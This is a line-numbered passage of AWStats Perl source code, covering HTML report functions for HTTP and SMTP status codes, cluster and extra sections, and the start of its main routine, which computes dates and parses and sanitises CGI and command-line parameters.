16652		if ( $MiscListCalc{$key} eq 'u' ) {
16653			print "<td>"
16654			  . Format_Number(( $_misc_h{$key} || 0 ))
16655			  . " / ".Format_Number($total)." $Message[18]</td>";
16656		}
16657		if ( $MiscListCalc{$key} eq 'hm' ) { print "<td>-</td>"; }
16658		print "<td>" . ( $total ? "$p %" : "&nbsp;" ) . "</td>";
16659		print "</tr>\n";
16660	}
16661	&tab_end();
16662}
16663
16664#------------------------------------------------------------------------------
16665# Function:     Prints the Status codes chart and table
16666# Parameters:   $NewLinkParams, $NewLinkTarget
16667# Input:        -
16668# Output:       HTML
16669# Return:       -
16670#------------------------------------------------------------------------------
16671sub HTMLMainHTTPStatus{
16672	my $NewLinkParams = shift;
16673	my $NewLinkTarget = shift;
16674
16675	if ($Debug) { debug( "ShowHTTPErrorsStats", 2 ); }
16676	print "$Center<a name=\"errors\">&nbsp;</a><br />\n";
16677	my $title = "$Message[32]";
16678
16679    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
16680       # extend the title to include the added link
16681           $title .= " &nbsp; - &nbsp; <a href=\"" . (XMLEncode(
16682               "$AddLinkToExternalCGIWrapper" . "?section=ERRORS&baseName=$DirData/$PROG"
16683           . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
16684           . "&siteConfig=$SiteConfig" )
16685           . "\"$NewLinkTarget>$Message[179]</a>");
16686    }
16687
16688	&tab_head( "$title", 19, 0, 'errors' );
16689
16690	&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_errors_h, \%_errors_h );
16691
16692	# Graph the top five in a pie chart
16693	if (scalar @keylist > 1){
16694		foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
16695		{
16696			my @blocklabel = ();
16697			my @valdata = ();
16698			my @valcolor = ($color_p);
16699			my $cnt = 0;
16700			foreach my $key (@keylist) {
16701				push @valdata, int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10;
16702				push @blocklabel, "$key";
16703				$cnt++;
16704				if ($cnt > 4) { last; }
16705			}
16706			print "<tr><td colspan=\"5\">";
16707			my $function = "ShowGraph_$pluginname";
16708			&$function(
16709				"$title",              "httpstatus",
16710				0, 						\@blocklabel,
16711				0,           			\@valcolor,
16712				0,              		0,
16713				0,          			\@valdata
16714			);
16715			print "</td></tr>";
16716		}
16717	}
16718
16719	print
16720"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[32]*</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n";
16721	my $total_h = 0;
16722	my $count = 0;
16723	foreach my $key (@keylist) {
16724		my $p = int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10;
16725		print "<tr" . Tooltip( $key, $key ) . ">";
16726		if ( $TrapInfosForHTTPErrorCodes{$key} ) {
16727			print "<td><a href=\""
16728			  . (
16729				$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
16730				? XMLEncode(
16731					"$AWScript${NewLinkParams}output=errors$key")
16732				: "$StaticLinks.errors$key.$StaticExt"
16733			  )
16734			  . "\"$NewLinkTarget>$key</a></td>";
16735		}
16736		else { print "<td valign=\"top\">$key</td>"; }
16737		print "<td class=\"aws\">"
16738		  . (
16739			$httpcodelib{$key} ? $httpcodelib{$key} : 'Unknown error' )
16740		  . "</td><td>".Format_Number($_errors_h{$key})."</td><td>$p %</td><td>"
16741		  . Format_Bytes( $_errors_k{$key} ) . "</td>";
16742		print "</tr>\n";
16743		$total_h += $_errors_h{$key};
16744		$count++;
16745	}
16746	&tab_end("* $Message[154]");
16747}
16748
16749#------------------------------------------------------------------------------
16750# Function:     Prints the Status codes chart and table
16751# Parameters:   $NewLinkParams, $NewLinkTarget
16752# Input:        -
16753# Output:       HTML
16754# Return:       -
16755#------------------------------------------------------------------------------
16756sub HTMLMainSMTPStatus{
16757	my $NewLinkParams = shift;
16758	my $NewLinkTarget = shift;
16759
16760	if ($Debug) { debug( "ShowSMTPErrorsStats", 2 ); }
16761	print "$Center<a name=\"errors\">&nbsp;</a><br />\n";
16762	my $title = "$Message[147]";
16763	&tab_head( "$title", 19, 0, 'errors' );
16764	print
16765"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[147]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n";
16766	my $total_h = 0;
16767	my $count = 0;
16768	&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_errors_h, \%_errors_h );
16769
16770	foreach my $key (@keylist) {
16771		my $p = int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10;
16772		print "<tr" . Tooltip( $key, $key ) . ">";
16773		print "<td valign=\"top\">$key</td>";
16774		print "<td class=\"aws\">"
16775		  . (
16776			$smtpcodelib{$key} ? $smtpcodelib{$key} : 'Unknown error' )
16777		  . "</td><td>".Format_Number($_errors_h{$key})."</td><td>$p %</td><td>"
16778		  . Format_Bytes( $_errors_k{$key} ) . "</td>";
16779		print "</tr>\n";
16780		$total_h += $_errors_h{$key};
16781		$count++;
16782	}
16783	&tab_end();
16784}
16785
16786#------------------------------------------------------------------------------
16787# Function:     Prints the cluster information chart and table
16788# Parameters:   $NewLinkParams, $NewLinkTarget
16789# Input:        -
16790# Output:       HTML
16791# Return:       -
16792#------------------------------------------------------------------------------
16793sub HTMLMainCluster{
16794	my $NewLinkParams = shift;
16795	my $NewLinkTarget = shift;
16796
16797	if ($Debug) { debug( "ShowClusterStats", 2 ); }
16798	print "$Center<a name=\"clusters\">&nbsp;</a><br />\n";
16799	my $title = "$Message[155]";
16800
16801    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
16802       # extend the title to include the added link
16803           $title .= " &nbsp; - &nbsp; <a href=\"" . (XMLEncode(
16804               "$AddLinkToExternalCGIWrapper" . "?section=CLUSTER&baseName=$DirData/$PROG"
16805           . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
16806           . "&siteConfig=$SiteConfig" )
16807           . "\"$NewLinkTarget>$Message[179]</a>");
16808    }
16809
16810	&tab_head( "$title", 19, 0, 'clusters' );
16811
16812	&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_cluster_p, \%_cluster_p );
16813
16814	# Graph the top five in a pie chart
16815	if (scalar @keylist > 1){
16816		foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
16817		{
16818			my @blocklabel = ();
16819			my @valdata = ();
16820			my @valcolor = ($color_p);
16821			my $cnt = 0;
16822			foreach my $key (@keylist) {
16823				push @valdata, int( $_cluster_p{$key} / $TotalHits * 1000 ) / 10;
16824				push @blocklabel, "$key";
16825				$cnt++;
16826				if ($cnt > 4) { last; }
16827			}
16828			print "<tr><td colspan=\"7\">";
16829			my $function = "ShowGraph_$pluginname";
16830			&$function(
16831				"$title",              "cluster",
16832				0, 						\@blocklabel,
16833				0,           			\@valcolor,
16834				0,              		0,
16835				0,          			\@valdata
16836			);
16837			print "</td></tr>";
16838		}
16839	}
16840
16841	print
16842	  "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[155]</th>";
16843	&HTMLShowClusterInfo('__title__');
16844	if ( $ShowClusterStats =~ /P/i ) {
16845		print
16846"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
16847	}
16848	if ( $ShowClusterStats =~ /H/i ) {
16849		print
16850"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
16851	}
16852	if ( $ShowClusterStats =~ /B/i ) {
16853		print
16854"<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>";
16855	}
16856	print "</tr>\n";
16857	my $total_p = my $total_h = my $total_k = 0;
16858
16859# Cluster feature might have been enable in middle of month so we recalculate
16860# total for cluster section only, to calculate ratio, instead of using global total
16861	foreach my $key (@keylist) {
16862		$total_p += int( $_cluster_p{$key} || 0 );
16863		$total_h += int( $_cluster_h{$key} || 0 );
16864		$total_k += int( $_cluster_k{$key} || 0 );
16865	}
16866	my $count = 0;
16867	foreach my $key (@keylist) {
16868		my $p_p = int( $_cluster_p{$key} / $total_p * 1000 ) / 10;
16869		my $p_h = int( $_cluster_h{$key} / $total_h * 1000 ) / 10;
16870		my $p_k = int( $_cluster_k{$key} / $total_k * 1000 ) / 10;
16871		print "<tr>";
16872		print "<td class=\"aws\">Computer $key</td>";
16873		&HTMLShowClusterInfo($key);
16874		if ( $ShowClusterStats =~ /P/i ) {
16875			print "<td>"
16876			  . ( $_cluster_p{$key} ? Format_Number($_cluster_p{$key}) : "&nbsp;" )
16877			  . "</td><td>$p_p %</td>";
16878		}
16879		if ( $ShowClusterStats =~ /H/i ) {
16880			print "<td>".Format_Number($_cluster_h{$key})."</td><td>$p_h %</td>";
16881		}
16882		if ( $ShowClusterStats =~ /B/i ) {
16883			print "<td>"
16884			  . Format_Bytes( $_cluster_k{$key} )
16885			  . "</td><td>$p_k %</td>";
16886		}
16887		print "</tr>\n";
16888		$count++;
16889	}
16890	&tab_end();
16891}
16892
16893#------------------------------------------------------------------------------
16894# Function:     Prints a chart or table for each extra section
16895# Parameters:   $NewLinkParams, $NewLinkTarget, $extranum
16896# Input:        -
16897# Output:       HTML
16898# Return:       -
16899#------------------------------------------------------------------------------
16900sub HTMLMainExtra{
16901	my $NewLinkParams = shift;
16902	my $NewLinkTarget = shift;
16903	my $extranum = shift;
16904
16905	if ($Debug) { debug( "ExtraName$extranum", 2 ); }
16906	print "$Center<a name=\"extra$extranum\">&nbsp;</a><br />";
16907	my $title = $ExtraName[$extranum];
16908	&tab_head( "$title", 19, 0, "extra$extranum" );
16909	print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
16910	print "<th>" . $ExtraFirstColumnTitle[$extranum];
16911	print "&nbsp; - &nbsp; <a href=\""
16912	  . (
16913		$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
16914		? XMLEncode(
16915			"$AWScript${NewLinkParams}output=allextra$extranum")
16916		: "$StaticLinks.allextra$extranum.$StaticExt"
16917	  )
16918	  . "\"$NewLinkTarget>$Message[80]</a>";
16919
16920    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
16921        print "&nbsp; - &nbsp; <a href=\""
16922          . (XMLEncode(
16923               "$AddLinkToExternalCGIWrapper" . "?section=EXTRA_$extranum&baseName=$DirData/$PROG"
16924            . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
16925            . "&sectionTitle=$ExtraName[$extranum]&siteConfig=$SiteConfig" )
16926            . "\"$NewLinkTarget>$Message[179]</a>");
16927    }
16928
16929	print "</th>";
16930
16931	if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
16932		print
16933		  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
16934	}
16935	if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
16936		print
16937		  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
16938	}
16939	if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
16940		print
16941		  "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
16942	}
16943	if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
16944		print "<th width=\"120\">$Message[9]</th>";
16945	}
16946	print "</tr>\n";
16947	my $total_p = my $total_h = my $total_k = 0;
16948
16949	 #$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } }
16950	 #$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } }
16951	my $count = 0;
16952	if ( $MaxNbOfExtra[$extranum] ) {
16953		if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
16954			&BuildKeyList(
16955				$MaxNbOfExtra[$extranum],
16956				$MinHitExtra[$extranum],
16957				\%{ '_section_' . $extranum . '_h' },
16958				\%{ '_section_' . $extranum . '_p' }
16959			);
16960		}
16961		else {
16962			&BuildKeyList(
16963				$MaxNbOfExtra[$extranum],
16964				$MinHitExtra[$extranum],
16965				\%{ '_section_' . $extranum . '_h' },
16966				\%{ '_section_' . $extranum . '_h' }
16967			);
16968		}
16969	}
16970	else {
16971		@keylist = ();
16972	}
16973	my %keysinkeylist = ();
16974	foreach my $key (@keylist) {
16975		$keysinkeylist{$key} = 1;
16976		my $firstcol = CleanXSS( DecodeEncodedString($key) );
16977		$total_p += ${ '_section_' . $extranum . '_p' }{$key};
16978		$total_h += ${ '_section_' . $extranum . '_h' }{$key};
16979		$total_k += ${ '_section_' . $extranum . '_k' }{$key};
16980		print "<tr>";
16981		printf(
16982			"<td class=\"aws\">$ExtraFirstColumnFormat[$extranum]</td>",
16983			$firstcol, $firstcol, $firstcol, $firstcol, $firstcol );
16984		if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
16985			print "<td>"
16986			  . ${ '_section_' . $extranum . '_p' }{$key} . "</td>";
16987		}
16988		if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
16989			print "<td>"
16990			  . ${ '_section_' . $extranum . '_h' }{$key} . "</td>";
16991		}
16992		if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
16993			print "<td>"
16994			  . Format_Bytes(
16995				${ '_section_' . $extranum . '_k' }{$key} )
16996			  . "</td>";
16997		}
16998		if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
16999			print "<td>"
17000			  . (
17001				${ '_section_' . $extranum . '_l' }{$key}
17002				? Format_Date(
17003					${ '_section_' . $extranum . '_l' }{$key}, 1 )
17004				: '-'
17005			  )
17006			  . "</td>";
17007		}
17008		print "</tr>\n";
17009		$count++;
17010	}
17011
17012	# If we ask average or sum, we loop on all other records
17013	if ( $ExtraAddAverageRow[$extranum] || $ExtraAddSumRow[$extranum] )
17014	{
17015		foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
17016			if ( $keysinkeylist{$_} ) { next; }
17017			$total_p += ${ '_section_' . $extranum . '_p' }{$_};
17018			$total_h += ${ '_section_' . $extranum . '_h' }{$_};
17019			$total_k += ${ '_section_' . $extranum . '_k' }{$_};
17020			$count++;
17021		}
17022	}
17023
17024	# Add average row
17025	if ( $ExtraAddAverageRow[$extranum] ) {
17026		print "<tr>";
17027		print "<td class=\"aws\"><b>$Message[96]</b></td>";
17028		if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
17029			print "<td>"
17030			  . ( $count ? Format_Number(( $total_p / $count )) : "&nbsp;" ) . "</td>";
17031		}
17032		if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
17033			print "<td>"
17034			  . ( $count ? Format_Number(( $total_h / $count )) : "&nbsp;" ) . "</td>";
17035		}
17036		if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
17037			print "<td>"
17038			  . (
17039				$count ? Format_Bytes( $total_k / $count ) : "&nbsp;" )
17040			  . "</td>";
17041		}
17042		if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
17043			print "<td>&nbsp;</td>";
17044		}
17045		print "</tr>\n";
17046	}
17047
17048	# Add sum row
17049	if ( $ExtraAddSumRow[$extranum] ) {
17050		print "<tr>";
17051		print "<td class=\"aws\"><b>$Message[102]</b></td>";
17052		if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
17053			print "<td>" . Format_Number(($total_p)) . "</td>";
17054		}
17055		if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
17056			print "<td>" . Format_Number(($total_h)) . "</td>";
17057		}
17058		if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
17059			print "<td>" . Format_Bytes($total_k) . "</td>";
17060		}
17061		if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
17062			print "<td>&nbsp;</td>";
17063		}
17064		print "</tr>\n";
17065	}
17066	&tab_end();
17067}
17068
17069#------------------------------------------------------------------------------
17070# MAIN
17071#------------------------------------------------------------------------------
17072( $DIR  = $0 ) =~ s/([^\/\\]+)$//;
17073( $PROG = $1 ) =~ s/\.([^\.]*)$//;
17074$Extension = $1;
17075$DIR ||= '.';
17076$DIR =~ s/([^\/\\])[\\\/]+$/$1/;
17077
17078$starttime = time();
17079
17080# Get current time (time when AWStats was started)
17081( $nowsec, $nowmin, $nowhour, $nowday, $nowmonth, $nowyear, $nowwday, $nowyday )
17082  = localtime($starttime);
17083$nowweekofmonth = int( $nowday / 7 );
17084$nowweekofyear  =
17085  int( ( $nowyday - 1 + 6 - ( $nowwday == 0 ? 6 : $nowwday - 1 ) ) / 7 ) + 1;
17086if ( $nowweekofyear > 52 ) { $nowweekofyear = 1; }
17087$nowdaymod = $nowday % 7;
17088$nowwday++;
17089$nowns = Time::Local::timegm( 0, 0, 0, $nowday, $nowmonth, $nowyear );
17090
17091if ( $nowdaymod <= $nowwday ) {
17092	if ( ( $nowwday != 7 ) || ( $nowdaymod != 0 ) ) {
17093		$nowweekofmonth = $nowweekofmonth + 1;
17094	}
17095}
17096if ( $nowdaymod > $nowwday ) { $nowweekofmonth = $nowweekofmonth + 2; }
17097
17098# Change format of time variables
17099$nowweekofmonth = "0$nowweekofmonth";
17100if ( $nowweekofyear < 10 ) { $nowweekofyear = "0$nowweekofyear"; }
17101if ( $nowyear < 100 ) { $nowyear += 2000; }
17102else { $nowyear += 1900; }
17103$nowsmallyear = $nowyear;
17104$nowsmallyear =~ s/^..//;
17105if ( ++$nowmonth < 10 ) { $nowmonth = "0$nowmonth"; }
17106if ( $nowday < 10 )     { $nowday   = "0$nowday"; }
17107if ( $nowhour < 10 )    { $nowhour  = "0$nowhour"; }
17108if ( $nowmin < 10 )     { $nowmin   = "0$nowmin"; }
17109if ( $nowsec < 10 )     { $nowsec   = "0$nowsec"; }
17110$nowtime = int( $nowyear . $nowmonth . $nowday . $nowhour . $nowmin . $nowsec );
17111
17112# Get tomorrow time (will be used to discard some record with corrupted date (future date))
17113my (
17114	$tomorrowsec, $tomorrowmin,   $tomorrowhour,
17115	$tomorrowday, $tomorrowmonth, $tomorrowyear
17116  )
17117  = localtime( $starttime + 86400 );
17118if ( $tomorrowyear < 100 ) { $tomorrowyear += 2000; }
17119else { $tomorrowyear += 1900; }
17120if ( ++$tomorrowmonth < 10 ) { $tomorrowmonth = "0$tomorrowmonth"; }
17121if ( $tomorrowday < 10 )     { $tomorrowday   = "0$tomorrowday"; }
17122if ( $tomorrowhour < 10 )    { $tomorrowhour  = "0$tomorrowhour"; }
17123if ( $tomorrowmin < 10 )     { $tomorrowmin   = "0$tomorrowmin"; }
17124if ( $tomorrowsec < 10 )     { $tomorrowsec   = "0$tomorrowsec"; }
17125$tomorrowtime =
17126  int(  $tomorrowyear
17127	  . $tomorrowmonth
17128	  . $tomorrowday
17129	  . $tomorrowhour
17130	  . $tomorrowmin
17131	  . $tomorrowsec );
17132
17133# Allowed option
17134my @AllowedCLIArgs = (
17135	'migrate',            'config',
17136	'logfile',            'output',
17137	'runascli',           'update',
17138	'staticlinks',        'staticlinksext',
17139	'noloadplugin',       'loadplugin',
17140	'hostfilter',         'urlfilter',
17141	'refererpagesfilter', 'lang',
17142	'month',              'year',
17143	'framename',          'debug',
17144	'showsteps',          'showdropped',
17145	'showcorrupted',      'showunknownorigin',
17146	'showdirectorigin',   'limitflush',
17147    'nboflastupdatelookuptosave',
17148	'confdir',            'updatefor',
17149	'hostfilter',         'hostfilterex',
17150	'urlfilter',          'urlfilterex',
17151	'refererpagesfilter', 'refererpagesfilterex',
17152	'pluginmode',         'filterrawlog'
17153);
17154
17155# Parse input parameters and sanitize them for security reasons
17156$QueryString = '';
17157
17158# AWStats use GATEWAY_INTERFACE to known if ran as CLI or CGI. AWSTATS_DEL_GATEWAY_INTERFACE can
17159# be set to force AWStats to be ran as CLI even from a web page.
17160if ( $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'} ) { $ENV{'GATEWAY_INTERFACE'} = ''; }
17161if ( $ENV{'GATEWAY_INTERFACE'} ) {    # Run from a browser as CGI
17162	$DebugMessages = 0;
17163
17164	# Prepare QueryString
17165	if ( $ENV{'CONTENT_LENGTH'} ) {
17166		binmode STDIN;
17167		read( STDIN, $QueryString, $ENV{'CONTENT_LENGTH'} );
17168	}
17169	if ( $ENV{'QUERY_STRING'} ) {
17170		$QueryString = $ENV{'QUERY_STRING'};
17171
17172		# Set & and &amp; to &amp;
17173		$QueryString =~ s/&amp;/&/g;
17174		$QueryString =~ s/&/&amp;/g;
17175	}
17176
17177	# Remove all XSS vulnerabilities coming from AWStats parameters
17178	$QueryString = CleanXSS( &DecodeEncodedString($QueryString) );
17179
17180	# Security test
17181	if ( $QueryString =~ /LogFile=([^&]+)/i ) {
17182		error(
17183"Logfile parameter can't be overwritten when AWStats is used from a CGI"
17184		);
17185	}
17186
17187	# No update but report by default when run from a browser
17188	$UpdateStats = ( $QueryString =~ /update=1/i ? 1 : 0 );
17189
17190	if ( $QueryString =~ /config=([^&]+)/i ) {
17191		$SiteConfig = &Sanitize("$1");
17192	}
17193	if ( $QueryString =~ /diricons=([^&]+)/i ) { $DirIcons = "$1"; }
17194	if ( $QueryString =~ /pluginmode=([^&]+)/i ) {
17195		$PluginMode = &Sanitize( "$1", 1 );
17196	}
17197	if ( $QueryString =~ /configdir=([^&]+)/i ) {
17198		$DirConfig = &Sanitize("$1");
17199		$DirConfig =~ s/\\{2,}/\\/g;	# This is to clean Remote URL
17200		$DirConfig =~ s/\/{2,}/\//g;	# This is to clean Remote URL
17201	}
17202
17203	# All filters
17204	if ( $QueryString =~ /hostfilter=([^&]+)/i ) {
17205		$FilterIn{'host'} = "$1";
17206	}    # Filter on host list can also be defined with hostfilter=filter
17207	if ( $QueryString =~ /hostfilterex=([^&]+)/i ) {
17208		$FilterEx{'host'} = "$1";
17209	}    #
17210	if ( $QueryString =~ /urlfilter=([^&]+)/i ) {
17211		$FilterIn{'url'} = "$1";
17212	}    # Filter on URL list can also be defined with urlfilter=filter
17213	if ( $QueryString =~ /urlfilterex=([^&]+)/i ) { $FilterEx{'url'} = "$1"; } #
17214	if ( $QueryString =~ /refererpagesfilter=([^&]+)/i ) {
17215		$FilterIn{'refererpages'} = "$1";
17216	} # Filter on referer list can also be defined with refererpagesfilter=filter
17217	if ( $QueryString =~ /refererpagesfilterex=([^&]+)/i ) {
17218		$FilterEx{'refererpages'} = "$1";
17219	}    #
17220	     # All output
17221	if ( $QueryString =~ /output=allhosts:([^&]+)/i ) {
17222		$FilterIn{'host'} = "$1";
17223	} # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed
17224	if ( $QueryString =~ /output=lasthosts:([^&]+)/i ) {
17225		$FilterIn{'host'} = "$1";
17226	} # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed
17227	if ( $QueryString =~ /output=urldetail:([^&]+)/i ) {
17228		$FilterIn{'url'} = "$1";
17229	} # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed
17230	if ( $QueryString =~ /output=refererpages:([^&]+)/i ) {
17231		$FilterIn{'refererpages'} = "$1";
17232	} # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed
17233
17234	# If migrate
17235	if ( $QueryString =~ /(^|-|&|&amp;)migrate=([^&]+)/i ) {
17236		$MigrateStats = &Sanitize("$2");
17237
17238		$MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/;
17239		$SiteConfig = &Sanitize($5 ? $5 : 'xxx');
17240		$SiteConfig =~ s/^\.//;    # SiteConfig is used to find config file
17241	}
17242
17243	$SiteConfig =~ s/\.\.//g; 		# Avoid directory transversal
17244}
17245else {                             # Run from command line
17246	$DebugMessages = 1;
17247
17248	# Prepare QueryString
17249	for ( 0 .. @ARGV - 1 ) {
17250
17251		# If migrate
17252		if ( $ARGV[$_] =~ /(^|-|&|&amp;)migrate=([^&]+)/i ) {
17253			$MigrateStats = &Sanitize("$2");
17254
17255			$MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/;
17256			$SiteConfig = &Sanitize($5 ? $5 : 'xxx');
17257			$SiteConfig =~ s/^\.//;    # SiteConfig is used to find config file
17258			next;
17259		}
17260
17261		# TODO Check if ARGV is in @AllowedArg
17262		if ($QueryString) { $QueryString .= '&amp;'; }
17263		my $NewLinkParams = $ARGV[$_];
17264		$NewLinkParams =~ s/^-+//;
17265		$QueryString .= "$NewLinkParams";
17266	}
17267
17268	# Remove all XSS vulnerabilities coming from AWStats parameters
17269	$QueryString = CleanXSS($QueryString);
17270
17271	# Security test
17272	if (   $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'}
17273		&& $QueryString =~ /LogFile=([^&]+)/i )
17274	{
17275		error(
17276"Logfile parameter can't be overwritten when AWStats is used from a CGI"
17277		);
17278	}
17279
17280	# Update with no report by default when run from command line
17281	$UpdateStats = 1;
17282
17283	if ( $QueryString =~ /config=([^&]+)/i ) {
17284		$SiteConfig = &Sanitize("$1");
17285	}
17286	if ( $QueryString =~ /diricons=([^&]+)/i ) { $DirIcons = "$1"; }
17287	if ( $QueryString =~ /pluginmode=([^&]+)/i ) {
17288		$PluginMode = &Sanitize( "$1", 1 );
17289	}
17290	if ( $QueryString =~ /configdir=([^&]+)/i ) {
17291		$DirConfig = &Sanitize("$1");
17292		$DirConfig =~ s/\\{2,}/\\/g;	# This is to clean Remote URL
17293		$DirConfig =~ s/\/{2,}/\//g;	# This is to clean Remote URL
17294	}
17295
17296	# All filters
17297	if ( $QueryString =~ /hostfilter=([^&]+)/i ) {
17298		$FilterIn{'host'} = "$1";
17299	}    # Filter on host list can also be defined with hostfilter=filter
17300	if ( $QueryString =~ /hostfilterex=([^&]+)/i ) {
17301		$FilterEx{'host'} = "$1";
17302	}    #
17303	if ( $QueryString =~ /urlfilter=([^&]+)/i ) {
17304		$FilterIn{'url'} = "$1";
17305	}    # Filter on URL list can also be defined with urlfilter=filter
17306	if ( $QueryString =~ /urlfilterex=([^&]+)/i ) { $FilterEx{'url'} = "$1"; } #
17307	if ( $QueryString =~ /refererpagesfilter=([^&]+)/i ) {
17308		$FilterIn{'refererpages'} = "$1";
17309	} # Filter on referer list can also be defined with refererpagesfilter=filter
17310	if ( $QueryString =~ /refererpagesfilterex=([^&]+)/i ) {
17311		$FilterEx{'refererpages'} = "$1";
17312	}    #
17313	     # All output
17314	if ( $QueryString =~ /output=allhosts:([^&]+)/i ) {
17315		$FilterIn{'host'} = "$1";
17316	} # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed
17317	if ( $QueryString =~ /output=lasthosts:([^&]+)/i ) {
17318		$FilterIn{'host'} = "$1";
17319	} # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed
17320	if ( $QueryString =~ /output=urldetail:([^&]+)/i ) {
17321		$FilterIn{'url'} = "$1";
17322	} # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed
17323	if ( $QueryString =~ /output=refererpages:([^&]+)/i ) {
17324		$FilterIn{'refererpages'} = "$1";
17325	} # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed
17326	  # Config parameters
17327	if ( $QueryString =~ /LogFile=([^&]+)/i ) { $LogFile = "$1"; }
17328
17329	# If show options
17330	if ( $QueryString =~ /showsteps/i ) {
17331		$ShowSteps = 1;
17332		$QueryString =~ s/showsteps[^&]*//i;
17333	}
17334	if ( $QueryString =~ /showcorrupted/i ) {
17335		$ShowCorrupted = 1;
17336		$QueryString =~ s/showcorrupted[^&]*//i;
17337	}
17338	if ( $QueryString =~ /showdropped/i ) {
17339		$ShowDropped = 1;
17340		$QueryString =~ s/showdropped[^&]*//i;
17341	}
17342	if ( $QueryString =~ /showunknownorigin/i ) {
17343		$ShowUnknownOrigin = 1;
17344		$QueryString =~ s/showunknownorigin[^&]*//i;
17345	}
17346	if ( $QueryString =~ /showdirectorigin/i ) {
17347		$ShowDirectOrigin = 1;
17348		$QueryString =~ s/showdirectorigin[^&]*//i;
17349	}
17350
17351	$SiteConfig =~ s/\.\.//g;
17352}
17353if ( $QueryString =~ /(^|&|&amp;)staticlinks/i ) {
17354	$StaticLinks = "$PROG.$SiteConfig";
17355}
17356if ( $QueryString =~ /(^|&|&amp;)staticlinks=([^&]+)/i ) {
17357	$StaticLinks = "$2";
17358}    # When ran from awstatsbuildstaticpages.pl
17359if ( $QueryString =~ /(^|&|&amp;)staticlinksext=([^&]+)/i ) {
17360	$StaticExt = "$2";
17361}
17362if ( $QueryString =~ /(^|&|&amp;)framename=([^&]+)/i ) { $FrameName = "$2"; }
17363if ( $QueryString =~ /(^|&|&amp;)debug=(\d+)/i )       { $Debug     = $2; }
17364if ( $QueryString =~ /(^|&|&amp;)databasebreak=(\w+)/i ) {
17365	$DatabaseBreak = $2;
17366}
17367if ( $QueryString =~ /(^|&|&amp;)updatefor=(\d+)/i ) { $UpdateFor = $2; }
17368
17369if ( $QueryString =~ /(^|&|&amp;)noloadplugin=([^&]+)/i ) {
17370	foreach ( split( /,/, $2 ) ) { $NoLoadPlugin{ &Sanitize( "$_", 1 ) } = 1; }
17371}
17372if ( $QueryString =~ /(^|&|&amp;)limitflush=(\d+)/i ) { $LIMITFLUSH = $2; }
17373if ( $QueryString =~ /(^|&|&amp;)nboflastupdatelookuptosave=(\d+)/i ) { $NBOFLASTUPDATELOOKUPTOSAVE = $2; }
17374
